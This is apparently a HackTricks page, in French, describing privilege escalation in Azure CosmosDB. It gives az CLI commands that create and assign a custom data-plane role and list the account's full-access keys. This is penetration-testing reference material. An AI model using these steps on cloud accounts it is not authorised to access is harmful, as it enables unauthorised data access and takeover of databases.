# Az - CosmosDB Privesc

{{#include ../../../banners/hacktricks-training.md}}

## CosmosDB Privesc
Pour plus d'informations sur SQL Database, consultez :

{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}

### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)

Avec ces permissions, vous pouvez escalader les privilèges en donnant à un utilisateur les permissions d'exécuter des requêtes et de se connecter à la base de données. Tout d'abord, un rôle de définition est créé en donnant les permissions et les portées nécessaires.
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'
```
Après cela, l'attribution de la définition est donnée à un utilisateur. Après cela, cet utilisateur peut utiliser la méthode de connexion DefaultAzureCredential() pour exécuter des requêtes.
```bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Avec cette autorisation, vous pouvez récupérer les clés primaire et secondaire pour un compte Azure Cosmos DB. Ces clés offrent un accès complet au compte de base de données et à ses ressources, permettant des actions telles que la lecture, l'écriture de données et les modifications de configuration.
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>

```
{{#include ../../../banners/hacktricks-training.md}}
